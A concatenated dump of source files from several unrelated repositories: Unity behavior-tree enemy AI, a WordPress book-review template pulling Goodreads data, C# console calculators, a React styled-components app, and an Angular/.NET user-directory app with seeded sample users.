Vector3 toNextPoint = bb.MovementPath[bb.PathCurrentIdx] - bb.Trans.position;
if (toNextPoint.sqrMagnitude < 3) { ++bb.PathCurrentIdx; }
toNextPoint.z = 0;
toNextPoint.Normalize();
bb.Trans.Translate(toNextPoint * bb.MoveSpeed * Time.deltaTime);
// toDestination.z = 0;
// toDestination.Normalize();
// bb.Trans.Translate(toDestination * bb.MoveSpeed * Time.deltaTime);
return Status.BH_RUNNING;
}
};
// Chase is basically going to be just calling MoveToPoint, except we'll update our destination
public class Chase : Decorator {
private BehaviorTree m_Bt;
public Chase (Behavior child, BehaviorTree bt) : base(child) {
m_Bt = bt;
}
public override void OnInitialize() {
Debug.Log("Chase::Init");
BehaviorObserver observer = OnChildComplete;
m_Bt.Start(m_Child, observer);
}
public override void OnTerminate(Status status) {
Debug.Log("Chase::Terminate");
}
public override Status Update(ref Blackboard bb) {
bb.Destination = bb.Player.position;
return Status.BH_RUNNING;
}
public void OnChildComplete (Status status) {
m_Bt.Stop(m_Child, status);
}
};
public class Flee : Decorator {
private BehaviorTree m_Bt;
public Flee (Behavior child, BehaviorTree bt) : base(child) {
m_Bt = bt;
}
public override void OnInitialize() {
m_Bt.Start(m_Child, OnChildComplete);
}
public void OnChildComplete (Status status) {
Debug.LogError("Flee::OnChildComplete this shouldn't get called...");
}
public override Status Update(ref Blackboard bb) {
Vector3 toMe = bb.Trans.position - bb.Player.position;
toMe.z = 0;
if (toMe.sqrMagnitude >= 70.0f)
{
// don't actually return, just stop running
return Status.BH_RUNNING;
//return Status.BH_SUCCESS;
}
toMe.Normalize();
toMe *= 2.5f;
bb.Destination = toMe + bb.Trans.position;
return Status.BH_RUNNING;
}
};<file_sep>/Assets/Scripts/Behavior Tree/Blackboard.cs
using UnityEngine;
using System.Collections;
/*
* Blackboard:
* Way to store information and share across nodes in the tree
*
*/
public class Blackboard {
public Vector3 Destination;
public float MoveSpeed = 2.0f;
public Transform Trans;
public Transform Player;
public Vector3[] MovementPath;
public int PathCurrentIdx;
}
|
30b1573f284f5e950a51335f8b77ab91bd6a5879
|
[
"C#"
] | 9
|
C#
|
jordanajlouni/ProjectAccountingSoftware-1
|
2b8ef42753c2bbdbdf67ad0748536decab814b88
|
bc9ca121ad5bc17750ea665a3557f30543ee4f76
|
refs/heads/master
|
<file_sep><?php
/////////////////////////
// INSERT CUSTOM FIELDS
/////////////////////////
?>
<?php
$idgoodreads = get_post_meta($post->ID, "idgoodreads", true);
$isbn = get_post_meta($post->ID, "isbn", true);
if ($post->ID == 27080 || empty($idgoodreads)) {
$goodreadskey = '<KEY>';
$xml_string = 'http://www.goodreads.com/book/isbn?format=xml&isbn=' . $isbn . '&key=' . $goodreadskey;
$xml= simplexml_load_file($xml_string);
if (!empty($xml->book->title)) {
delete_post_meta($post->ID, 'titulo');
add_post_meta($post->ID, 'titulo', (string)$xml->book->title, true);
if (!empty($xml->book->work->original_title)) {
delete_post_meta($post->ID, 'titulooriginal');
if ((string)$xml->book->title != (string)$xml->book->work->original_title) {
add_post_meta($post->ID, 'titulooriginal', (string)$xml->book->work->original_title, true);
}
}
$autores = $xml->xpath('book/authors/author');
if (!empty($autores)) {
wp_delete_object_term_relationships( $post->ID, 'autor' );
foreach($autores as $autor) {
if ($autor->role == 'translator') {
delete_post_meta($post->ID, 'traducao');
add_post_meta($post->ID, 'traducao',(string)$autor->name, true);
} else {
$autortaxonomy = get_term_by('name', $autor->name, 'autor');
if (!$autortaxonomy) {
wp_insert_term( $autor->name, 'autor');
$autortaxonomy = get_term_by('name', $autor->name, 'autor');
}
wp_set_post_terms( $post->ID, $autortaxonomy->term_id, 'autor', true);
}
}
}
if (!empty($xml->book->publication_year)) {
delete_post_meta($post->ID, 'ano');
add_post_meta($post->ID, 'ano', (string)$xml->book->publication_year, true);
}
if ((string)$xml->book->num_pages != '') {
delete_post_meta($post->ID, 'paginas');
add_post_meta($post->ID, 'paginas', (string)$xml->book->num_pages, true);
}
if (!empty($xml->book->publisher)) {
wp_delete_object_term_relationships( $post->ID, 'editora' );
$editorataxonomy = get_term_by('name', $xml->book->publisher, 'editora');
if (!$editorataxonomy) {
wp_insert_term( $xml->book->publisher, 'editora');
$editorataxonomy = get_term_by('name', $xml->book->publisher, 'editora');
}
wp_set_post_terms( $post->ID, $editorataxonomy->term_id, 'editora', true);
}
if (!empty($xml->book->id)) {
delete_post_meta($post->ID, 'idgoodreads');
add_post_meta($post->ID, 'idgoodreads', (string)$xml->book->id, true);
}
get_template_part( '/Afiliados');
}
} //if ($post->ID == 21685)
?>
<?php
///////////////////////////////////////////////////////////////
// Livros da série
///////////////////////////////////////////////////////////////
?>
<?php
$seriesdelivros = get_the_terms($post->ID, 'series-de-livros');
$link = get_bloginfo( 'url' ) . '/series-de-livros/' . $seriesdelivros[0]->slug;
$spinoff = get_term($seriesdelivros[0]->parent, 'series-de-livros');
$linkspinoff = get_bloginfo( 'url' ) . '/series-de-livros/' . $spinoff->slug;
if (!is_wp_error($spinoff)) {
$infospinoff = ' (spin-off de <a href="' . $linkspinoff . '">'. $spinoff->name . '</a>)';
}
if ($seriesdelivros != '') {
echo '<ol class="livrosSerie">Livros da série <strong><a href="' . $link . '">'. $seriesdelivros[0]->name .'</a></strong>'. $infospinoff .':<br /><br />';
foreach ($seriesdelivros as $term){
echo $term->description;
}
echo '</ol>';
}
?>
<?php
///////////////////////////////////////////////////////////////
// Resenhas de LIVROS
///////////////////////////////////////////////////////////////
?>
<div itemprop="review" itemscope itemtype="http://schema.org/Review">
<meta itemprop="author" content="<?php the_author(); ?>">
<?php if(!is_feed()) {
$capa_original = get_post_meta($post->ID, "capa_original", true);
$livroquedeuorigem = get_post_meta($post->ID, "livroquedeuorigem", true);
if( $capa_original ):
$capaooriginal = getimagesize(get_post_meta($post->ID, "capa_original", true));
$width = $capaooriginal[0];
$height = $capaooriginal[1];
?>
<div class = "livroinspiroufilme">
<a alt="<?php echo $livroquedeuorigem; ?>"
title="<?php echo $livroquedeuorigem; ?>"
href="<?php echo $capa_original; ?>" data-rel="lightbox-1">
<img alt="" src="<?php echo $capa_original; ?>" width="<?php echo $width ?>px" height="<?php echo $height ?>px"/></a>
<p class="wp-caption-text">Capa original</p>
</div>
<?php endif; //if $capa_original
} // if not is_feed
$imagem = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'medium');
$titulo = get_post_meta($post->ID, "titulo", true);
if (!empty($imagem)) :
$largura = $imagem[1];
$altura = $imagem[2];
?>
<div id="posterserie"><span class="posterserieimg"><img src="<?php echo $imagem[0]; ?>" alt="<?php echo $titulo; ?>" title="<?php echo $titulo; ?>" width="<?php echo $largura; ?>px" height="<?php echo $altura; ?>px" ></span>
<br />
<div class="fichatecnica">
<?php
// INFORMAÇÕES EM TEXTO
?>
<p class="fichatecnicain">
<?php
// CLASSIFICAÇÃO
?>
<?php
$estrelas = get_post_meta($post->ID,'classificacao',true);
$urlestrela = str_replace(' ', '-', $estrelas);
if(has_tag('livro favorito', $post->ID)) {
$classestrelas = 'fa fa-heart';
$class = 'classificacaofavorito';
} else {
$classestrelas = 'fa fa-star';
$class = 'classificacao';
}
if ($estrelas) { ?>
<span itemprop="reviewRating" itemscope itemtype="http://schema.org/Rating">
<span class="classifititulo">Classificação:</span>
<span class="<?php echo $class; ?>">
<a href="http://www.estantelotada.com.br/tag/<?php echo $urlestrela; ?>" alt="<?php echo $estrelas; ?>"
title="<?php echo $estrelas; ?>">
<?php
$i = 1;
while ($i <= $estrelas[0]) { ?>
<span class="<?php echo $classestrelas; ?>"></span>
<?php
$i++;
}
$j = 1;
$estrelasrestantes = 5 - $estrelas[0];
while ($j <= $estrelasrestantes) { ?>
<span class="fa fa-star-o"></span>
<?php
$j++;
}
?>
</a><br />
<meta itemprop="ratingValue" content="<?php echo $estrelas[0] ?>" />
<meta itemprop="bestRating" content="5" />
</span>
<?php } ?>
<?php
// DADOS TÉCNICOS
?>
<?php
// $titulo = get_post_meta($post->ID, "titulo", true);
$titulooriginal = get_post_meta($post->ID, "titulooriginal", true);
$generos = get_the_terms( $post->ID, 'genero' );
$autores = get_the_terms( $post->ID, 'autor' );
$ano = get_post_meta($post->ID, "ano", true);
$paginas = get_post_meta($post->ID, "paginas", true);
$editoras = get_the_terms( $post->ID, 'editora' );
$traducao = get_post_meta($post->ID, "traducao", true);
$niveldificuldade = get_post_meta($post->ID, "niveldificuldade", true);
$lancamentonobrasil = get_post_meta($post->ID, "lancamentonobrasil", true);
$recebido = get_post_meta($post->ID,'recebidon',true);
if( $titulo ): ?>
<span itemprop="itemReviewed" itemscope itemtype="http://schema.org/Thing">
<span itemprop="name"><strong><?php echo $titulo; ?></strong></span></span>
<?php
if ($idgoodreads) {
$endereco = 'https://www.goodreads.com/book/show/'. $idgoodreads; ?>
<span class="goodreads"><a href="<?php echo $endereco; ?>" rel="nofollow" title="Confira a página do livro <?php echo $titulo; ?> no Goodreads" style="font-weight:normal;">good<strong>reads</strong></a></span>
<?php } ?>
<br />
<?php endif;
echo get_the_term_list( $post->ID, 'autor', 'de ', ', ', '<br />' );
if ($editoras && ano){
echo get_the_term_list( $post->ID, 'editora', '<strong>Publicação:</strong> ', ', ', '' ) . ' em ' . $ano . '<br />';
}
if( $titulooriginal ): ?>
<strong>Título Original: </strong><?php echo $titulooriginal; ?><br />
<?php endif;
if( $seriedolivro ): ?>
<strong>Série: </strong><?php echo '<a href="'. $link .'">' . $seriedolivro[0]->name . '</a>' ; ?><br />
<?php endif;
if( $isbn ): ?>
<strong>ISBN: </strong><?php echo $isbn; ?><br />
<?php endif;
if (count($generos) == 1) {
echo get_the_term_list( $post->ID, 'genero', '<strong>Gênero:</strong> ', ', ', '<br />' );
} else {
echo get_the_term_list( $post->ID, 'genero', '<strong>Gêneros:</strong> ', ', ', '<br />' );
}
if( $paginas ): ?>
<strong>Páginas: </strong><?php echo $paginas; ?><br />
<?php endif;
if( $traducao ): ?>
<strong>Tradução: </strong><?php echo $traducao; ?><br />
<?php endif;
if( $niveldificuldade ): ?>
<strong>Nível do idioma:</strong><?php echo $niveldificuldade; ?><br />
<?php endif;
if( $lancamentonobrasil ): ?>
<strong>Lançamento no Brasil:</strong><?php echo $lancamentonobrasil; ?><br />
<?php endif; ?>
<?php
///////////
// EXEMPLAR RECEBIDO ATRAVÉS DE...
///////////
?>
<?php ;
if($recebido == "Cortesia"): ?>
<strong>Esse livro foi:</strong> Cortesia<br />
<?php endif;
if($recebido == "Comprei"): ?>
<strong>Esse livro foi:</strong> Comprado<br />
<?php endif;
if($recebido == "Ganhei"): ?>
<strong>Esse livro foi:</strong> Presente<br />
<?php endif;
if($recebido == "Emprestado"): ?>
<strong>Esse livro foi:</strong> Emprestado<br />
<?php endif;
if($recebido == "Troca"): ?>
<strong>Esse livro foi:</strong> Trocado<br />
<?php endif; ?>
<?php
// LOJAS
?>
<?php if (in_category(487)) :
$saraiva = get_post_meta($post->ID, "saraiva", true);
$fnac = get_post_meta($post->ID, "fnac", true);
$cultura = get_post_meta($post->ID, "cultura", true);
$submarino = get_post_meta($post->ID, "submarino", true);
$amazonquinta = get_post_meta($post->ID, "amazonquinta", true);
$bookdepository = get_post_meta($post->ID, "bookdepository", true);
$bwb = get_post_meta($post->ID, "bwb", true);
$kobobook = get_post_meta($post->ID, "kobobook", true);
$kindlebook = get_post_meta($post->ID, "kindlebook", true); ?>
<span class="lojasresenhas">
<?php if( $saraiva ): ?>
<a href="<?php echo $saraiva; ?>" rel="nofollow" class="saraiva">Saraiva</a>
<?php endif;
if( $fnac ): ?>
<a href="<?php echo $fnac; ?>" rel="nofollow" class="fnac">Fnac</a>
<?php endif;
if( $cultura ):
?>
<a href="<?php echo $cultura; ?>" rel="nofollow" class="cultura">Cultura</a>
<?php endif;
if( $bookdepository ):
?>
<a href="<?php echo $bookdepository; ?>" rel="nofollow" class="bookdepository">Book Depository</a>
<?php endif;
if( $amazonquinta ):
?>
<a href="<?php echo $amazonquinta; ?>" rel="nofollow" class="amazon">Amazon</a>
<?php endif;
if( $submarino ):
?>
<a href="<?php echo $submarino; ?>" rel="nofollow" class="submarino">Submarino</a>
<?php endif;
if( $bwb ):
?>
<a href="<?php echo $bwb; ?>" rel="nofollow" class="bwb">Better World Books</a>
<?php endif;
if( $kobobook ):
?>
<a href="<?php echo $kobobook; ?>" rel="nofollow" class="cultura">Kobo</a>
<?php endif;
if( $kindlebook ): ?>
<a href="<?php echo $kindlebook; ?>" rel="nofollow" class="amazon">Kindle</a>
<?php endif; ?>
</span>
<?php if (( $saraiva ) || ( $fnac ) || ( $submarino ) || ( $amazonquinta ) || ( $bookdepository ) || ( $bwb ) || ( $kobobook ) || ( $kindlebook )) { ?>
<span class="avisopubli">A compra pode render comissão ao blog.</span>
<?php } ?>
<?php endif; //lojas ?>
</p> <?php // fichatecnicain ?>
</div> <?php // fichatecnica ?>
</div> <?php // poster serie ?>
</div> <?php //itemprop="review" ?>
<?php endif; //if $imagem ?>
|
436a0b93b884502bb7131f1d03ac5b8483b4d249
|
[
"PHP"
] | 1
|
PHP
|
ciblele/estantelotada
|
ab86268aa35f7f8bff2f6b8219059a11e9cdaa76
|
bb6ff1e84e1237bac021577bdb28125305e8680e
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ejercicio_2
{
class Program
{
static void Main(string[] args)
{
int num1, num2, opc=0;
float resultado=0;
while (opc != 5)
{
Menu();
Console.WriteLine("Ingrese cual opcion desea usar: ");
opc = int.Parse(Console.ReadLine());
switch (opc)
{
case 1:
Console.WriteLine("Ingrese el primer numero:");
num1 = int.Parse(Console.ReadLine());
Console.WriteLine("Ingrese el segundo numero:");
num2 = int.Parse(Console.ReadLine());
resultado = Suma(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 2:
Console.WriteLine("Ingrese el primer numero:");
num1 = int.Parse(Console.ReadLine());
Console.WriteLine("Ingrese el segundo numero:");
num2 = int.Parse(Console.ReadLine());
resultado = Producto(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 3:
Console.WriteLine("Ingrese el primer numero:");
num1 = int.Parse(Console.ReadLine());
Console.WriteLine("Ingrese el segundo numero:");
num2 = int.Parse(Console.ReadLine());
resultado = Resta(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 4:
Console.WriteLine("Ingrese el primer numero:");
num1 = int.Parse(Console.ReadLine());
Console.WriteLine("Ingrese el segundo numero:");
num2 = int.Parse(Console.ReadLine());
resultado = Division(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
default: Console.WriteLine("Salida");
break;
}
}
}
static void Menu()
{
Console.WriteLine("|=== Calculadora ===|");
Console.WriteLine("1 - Suma 2 numeros.");
Console.WriteLine("2 - Producto entre 2 numeros.");
Console.WriteLine("3 - Resta entre 2 numeros.");
Console.WriteLine("4 - Division entre 2 numeros.");
Console.WriteLine("5 - Salir.");
}
static int Suma(int num1, int num2)
{
return num1 + num2;
}
static int Producto(int num1, int num2)
{
return num1 * num2;
}
static int Resta(int num1, int num2)
{
return num1 - num2;
}
static float Division(int num1, int num2)
{
return num1 / num2;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ejercicio3
{
class Program
{
static void Main(string[] args)
{
int num1, num2, opc = 0;
//float resultado = 0;
double resultado, num3;
while (opc != 5)
{
Menu();
Console.WriteLine("Ingrese cual opcion desea usar: ");
opc = int.Parse(Console.ReadLine());
switch (opc)
{
case 1:
num1 = numPedido();
num2 = numPedido();
resultado = Suma(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 2:
num1 = numPedido();
num2 = numPedido();
resultado = Producto(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 3:
num1 = numPedido();
num2 = numPedido();
resultado = Resta(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 4:
num1 = numPedido();
num2 = numPedido();
resultado = Division(num1, num2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 5:
num1 = numPedido();
resultado = Math.Abs(num1);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 6:
num3 = numPedido();
resultado = Math.Pow(num3,2);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 7:
num1 = numPedido();
resultado = Math.Sqrt(num1);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 8:
num1 = numPedido();
resultado = Math.Sin(num1);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 9:
num1 = numPedido();
resultado = Math.Cos(num1);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
case 10:
num1 = numPedido();
resultado = Math.Truncate(num1);
Console.WriteLine("El resultado es: " + resultado + ".");
break;
default:
Console.WriteLine("Salida");
break;
}
}
}
static void Menu()
{
Console.WriteLine("|=== Calculadora ===|");
Console.WriteLine("1 - Suma 2 numeros.");
Console.WriteLine("2 - Producto entre 2 numeros.");
Console.WriteLine("3 - Resta entre 2 numeros.");
Console.WriteLine("4 - Division entre 2 numeros.");
Console.WriteLine("5 - valor absoluto.");
Console.WriteLine("6 - cuadrado.");
Console.WriteLine("7 - raiz cuadrada.");
Console.WriteLine("8 - Seno.");
Console.WriteLine("9 - coseno.");
Console.WriteLine("10 - parte entera de un decimal.");
Console.WriteLine("0 - Salir.");
}
static int numPedido()
{
int num;
Console.WriteLine("Ingrese el numero:");
num = int.Parse(Console.ReadLine());
return num;
}
static int Suma(int num1, int num2)
{
return num1 + num2;
}
static int Producto(int num1, int num2)
{
return num1 * num2;
}
static int Resta(int num1, int num2)
{
return num1 - num2;
}
static float Division(int num1, int num2)
{
return num1 / num2;
}
}
}
|
df9b55abcbe995c172579ee69375f6119e6938ac
|
[
"C#"
] | 2
|
C#
|
TallerDeLenguajes1/tp-nro6-agustindelgado5
|
e64922381a3dd03ee94d3dd18036bf11994f2d4a
|
b34d40158987fd321a7de34945f911fb688e82de
|
refs/heads/master
|
<file_sep>/*
conveting to styled-components from sass link:
https://medium.com/styled-components/getting-sassy-with-sass-styled-theme-9a375cfb78e8
This article also contain multiple tips for using styled-component
like using variables, themeing, varients, etc
Very useful article
*/
import React, { useState } from 'react'
import { createGlobalStyle, ThemeProvider } from 'styled-components'
import { BrowserRouter, Switch, Route } from 'react-router-dom'
import Home from 'components/pages/Home'
import Login from 'components/pages/Login'
import LightTheme from 'themes/light'
import DarkTheme from 'themes/dark'
import generalVariables from 'themes/generalVariables'
const GlobalStyle = createGlobalStyle`
body {
background: ${p => p.theme.bodyBackgroundColor};
color: ${p => p.theme.bodyFontColor};
min-height: 100vh;
margin: 0;
/* font-family: 'Kaushan Script', cursive; */
}
`
function App() {
const [theme, setTheme] = useState(LightTheme)
return (
<ThemeProvider theme={{
...theme, ...generalVariables, settheme: () => {
setTheme(val => val.id === 'light' ? DarkTheme : LightTheme)
}
}}>
<GlobalStyle />
<BrowserRouter>
<Switch>
<Route path="/login">
<Login />
</Route>
<Route path="/">
<Home />
</Route>
</Switch>
</BrowserRouter>
</ThemeProvider>
)
}
export default App
<file_sep>A simple react application built on top of Styled-component
Styled component version 5
This application is based on the Tom Phillips tutorial
Link: https://www.udemy.com/course/react-styled-components/
This application contains almost all essential techniques available in the styled component.
Some key feature are
GlobalStyle
ThemeProvider
passing dynamic props to styled components
Various themes
shared componets created purely on styled components like spinner, search box, etc
Using function in styled componetns
Styled links
and much more.
|
e8d1ddaab0fe77db5f6fbda972c0e673fb193661
|
[
"JavaScript",
"Markdown"
] | 2
|
JavaScript
|
vijay7755/react-styled-component
|
b0abe91daf27320657bbf9cb386ffd27afcf43c6
|
0dcd11f7f39e723fd66aa5a2cfbdfcdb22025105
|
refs/heads/master
|
<repo_name>lukaess/DirectoryApp<file_sep>/DirectoryWebApp/src/app/modules/user/dialogs/update-user/update-user.component.ts
import { Component, Inject, OnInit } from '@angular/core';
import { FormControl, Validators } from '@angular/forms';
import { MatDialogRef, MAT_DIALOG_DATA } from '@angular/material/dialog';
import { AuthService } from 'src/app/core/services/auth.service';
import { UserService } from 'src/app/core/services/user.service';
import { User } from 'src/app/shared/models/user';
import { DeleteUserComponent } from '../delete-user/delete-user.component';
@Component({
selector: 'app-update-user',
templateUrl: './update-user.component.html',
styleUrls: ['./update-user.component.scss']
})
export class UpdateUserComponent {
constructor(public dialogRef: MatDialogRef<UpdateUserComponent>, @Inject(MAT_DIALOG_DATA) public data: any,
private userService: UserService, public authService: AuthService) { }
formControl = new FormControl('', [
Validators.required
]);
getErrorMessage(): '' | 'Required field' {
return this.formControl.hasError('required') ? 'Required field' :
'';
}
onNoClick(): void {
this.dialogRef.close();
}
submit(): void {
}
async stopEdit(): Promise<void> {
const user = this.data as User;
if (user.id)
{
await this.userService.updateUser(user).toPromise();
}
else
{
await this.userService.addUser(user).toPromise();
}
}
}
<file_sep>/DirectoryWebApp/src/app/modules/user/components/user/user.component.ts
import { AfterViewInit, Component, OnInit, ViewChild } from '@angular/core';
import { AuthService } from 'src/app/core/services/auth.service';
import { User } from 'src/app/shared/models/user';
import { MatDialog, MatDialogConfig } from '@angular/material/dialog';
import { UserService } from 'src/app/core/services/user.service';
import { UpdateUserComponent } from '../../dialogs/update-user/update-user.component';
import { AddUserComponent } from '../../dialogs/add-user/add-user.component';
import { DeleteUserComponent } from '../../dialogs/delete-user/delete-user.component';
import { MatSort } from '@angular/material/sort';
import { MatTableDataSource } from '@angular/material/table';
import { MatPaginator } from '@angular/material/paginator';
@Component({
selector: 'app-user',
templateUrl: './user.component.html',
styleUrls: ['./user.component.scss']
})
export class UserComponent implements OnInit, AfterViewInit{
accessToken = '';
refreshToken = '';
public users: User[];
public id: number;
public newUser: User;
public dataSource = new MatTableDataSource<User>();
displayedColumns: string[] = ['name', 'surname', 'email', 'adress', 'dateOfBirth', 'actions'];
@ViewChild(MatSort) sort: MatSort;
@ViewChild(MatPaginator) paginator: MatPaginator;
constructor(public authService: AuthService, public dialog: MatDialog, private userService: UserService) { }
async ngOnInit(): Promise<void> {
this.accessToken = localStorage.getItem('access_token');
this.refreshToken = localStorage.getItem('refresh_token');
this.authService.checkIfLogedIn();
await this.getUsers();
}
ngAfterViewInit(): void {
this.dataSource.paginator = this.paginator;
this.dataSource.sort = this.sort;
}
applyFilter(event: Event): void {
const filterValue = (event.target as HTMLInputElement).value;
this.dataSource.filter = filterValue.trim().toLowerCase();
if (this.dataSource.paginator) {
this.dataSource.paginator.firstPage();
}
}
async getUsers(): Promise<void> {
this.users = await this.userService.getUsers().toPromise();
this.dataSource.data = this.users;
}
editUsers(user: User, name: string, surname: string, email: string, dateOfBirth: Date, adress: string)
: void {
this.id = user.id;
console.log(this.id);
const dialogRef = this.dialog.open(UpdateUserComponent, {
data: {id: this.id, name, surname, email, dateOfBirth, adress}
});
dialogRef.afterClosed().subscribe(result => {
if (result === 1) {
this.refreshList(user);
this.users.push(this.userService.newUser);
this.updateDataSource();
}
});
}
addNewUser(): void {
const dialogRef = this.dialog.open(UpdateUserComponent, {
data: { name: ' ', surname: ' ', email: ' ', dateOfBirth: ' ', adress: ' '}
});
dialogRef.afterClosed().subscribe(result => {
if (result === 1) {
this.users.push(this.userService.newUser);
this.updateDataSource();
}
});
}
deleteUser(user: User, name: string, surname: string): void {
this.id = user.id;
console.log(this.id);
const dialogRef = this.dialog.open(DeleteUserComponent, {
data: {id: this.id, name, surname}
});
dialogRef.afterClosed().subscribe(result => {
if (result === 1) {
this.refreshList(user);
this.updateDataSource();
}
});
}
private refreshList(user: User): void {
this.users = this.users.filter(s => s !== user);
}
private updateDataSource(): void {
this.dataSource.data = this.users;
this.dataSource.filter = '';
}
}
<file_sep>/DirectoryApp/Data/Migrations/20210216141622_InitialCreate.cs
using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace Data.Migrations
{
public partial class InitialCreate : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.CreateTable(
name: "User",
columns: table => new
{
Id = table.Column<long>(type: "bigint", nullable: false)
.Annotation("SqlServer:Identity", "1, 1"),
Name = table.Column<string>(type: "nvarchar(max)", nullable: false),
Surname = table.Column<string>(type: "nvarchar(max)", nullable: false),
Adress = table.Column<string>(type: "nvarchar(max)", nullable: true),
Email = table.Column<string>(type: "nvarchar(max)", nullable: false),
Password = table.Column<string>(type: "nvarchar(max)", nullable: false),
DateOfBirth = table.Column<DateTime>(type: "datetime2", nullable: false),
IsAdmin = table.Column<bool>(type: "bit", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_User", x => x.Id);
});
migrationBuilder.InsertData(
table: "User",
columns: new[] { "Id", "Adress", "DateOfBirth", "Email", "IsAdmin", "Name", "Password", "Surname" },
values: new object[,]
{
{ 1L, "<NAME>, Branimirova 86", new DateTime(1995, 10, 24, 0, 0, 0, 0, DateTimeKind.Unspecified), "<EMAIL>", true, "Lukas", "Kong35", "Krištić" },
{ 2L, "<NAME>, Branimirova 86", new DateTime(1963, 10, 10, 0, 0, 0, 0, DateTimeKind.Unspecified), "<EMAIL>", true, "Mato", "Baki49", "Krištić" },
{ 3L, "Osijek, St<NAME>a 2", new DateTime(1991, 9, 17, 0, 0, 0, 0, DateTimeKind.Unspecified), "<EMAIL>", false, "Tony", "Legolas4", "Mitrandil" },
{ 4L, "<NAME> 7", new DateTime(1993, 5, 11, 0, 0, 0, 0, DateTimeKind.Unspecified), "<EMAIL>", false, "Artemida", "Hades191", "Olimp" }
});
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "User");
}
}
}
<file_sep>/DirectoryApp/Data/Entities/BaseEntity.cs
// <copyright file="BaseEntity.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.Entities
{
using System.ComponentModel.DataAnnotations;
using Data.Interfaces;
public class BaseEntity : IBaseEntity
{
[Key]
public long Id { get; set; }
}
}
<file_sep>/DirectoryApp/Business/Views/UserDTO.cs
// <copyright file="UserDTO.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Business.Views
{
using System;
using System.ComponentModel.DataAnnotations;
public class UserDTO
{
[Required]
public string Name { get; set; }
[Required]
public string Surname { get; set; }
public string Adress { get; set; }
[Required]
public string Email { get; set; }
public DateTime DateOfBirth { get; set; }
}
}
<file_sep>/DirectoryApp/Data/Repositories/GenericRepository.cs
// <copyright file="GenericRepository.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.Repositories
{
using System;
using System.Linq;
using Data.DataContext;
using Data.Interfaces;
using Microsoft.EntityFrameworkCore;
public class GenericRepository<T> : IGenericRepository<T>
where T : class
{
protected readonly AplicationContext appContext;
private DbSet<T> Entities { get; set; }
public GenericRepository(AplicationContext appContext)
{
this.appContext = appContext;
this.Entities = appContext.Set<T>();
}
public void Delete(T entity)
{
this.Entities.Remove(entity);
this.appContext.SaveChanges();
}
public IQueryable<T> GetAll()
{
return this.Entities;
}
public T Insert(T entity)
{
this.Entities.Add(entity);
this.appContext.SaveChanges();
return entity;
}
public T Update(T entity)
{
this.appContext.SaveChanges();
return entity;
}
}
}
<file_sep>/DirectoryApp/Business/Views/NewUserDTO.cs
// <copyright file="NewUserDTO.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Business.Views
{
using System;
using System.ComponentModel.DataAnnotations;
public class NewUserDTO
{
public long Id { get; set; }
[Required]
public string Name { get; set; }
[Required]
public string Surname { get; set; }
public string Adress { get; set; }
[Required]
public string Email { get; set; }
[Required]
public string Password { get; set; }
public DateTime DateOfBirth { get; set; }
public bool IsAdmin { get; set; }
}
}
<file_sep>/DirectoryApp/Data/Interfaces/IBaseEntity.cs
// <copyright file="IBaseEntity.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.Interfaces
{
using System.ComponentModel.DataAnnotations;
public interface IBaseEntity
{
public long Id { get; set; }
}
}
<file_sep>/DirectoryWebApp/src/app/modules/user/components/za-probu/za-probu.component.spec.ts
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { ZaProbuComponent } from './za-probu.component';
describe('ZaProbuComponent', () => {
let component: ZaProbuComponent;
let fixture: ComponentFixture<ZaProbuComponent>;
beforeEach(async () => {
await TestBed.configureTestingModule({
declarations: [ ZaProbuComponent ]
})
.compileComponents();
});
beforeEach(() => {
fixture = TestBed.createComponent(ZaProbuComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
<file_sep>/DirectoryWebApp/src/app/modules/user/dialogs/add-user/add-user.component.ts
import { Component, Inject } from '@angular/core';
import { MAT_DIALOG_DATA, MatDialogRef } from '@angular/material/dialog';
import { FormControl, Validators } from '@angular/forms';
import { UserService } from 'src/app/core/services/user.service';
import { User } from 'src/app/shared/models/user';
@Component({
selector: 'app-add-user',
templateUrl: './add-user.component.html',
styleUrls: ['./add-user.component.scss']
})
export class AddUserComponent {
constructor(public dialogRef: MatDialogRef<AddUserComponent>, @Inject(MAT_DIALOG_DATA) public data: User,
private userService: UserService) { }
formControl = new FormControl('', [
Validators.required
]);
getErrorMessage(): '' | 'Required field' {
return this.formControl.hasError('required') ? 'Required field' : '';
}
onNoClick(): void {
this.dialogRef.close();
}
submit(): void {
// emppty stuff
}
public confirmAdd(): void {
this.userService.addUser(this.data);
}
}
<file_sep>/DirectoryApp/Business/Interfaces/IEntityService.cs
namespace Business.Interfaces
{
using System.Collections.Generic;
using System.Threading.Tasks;
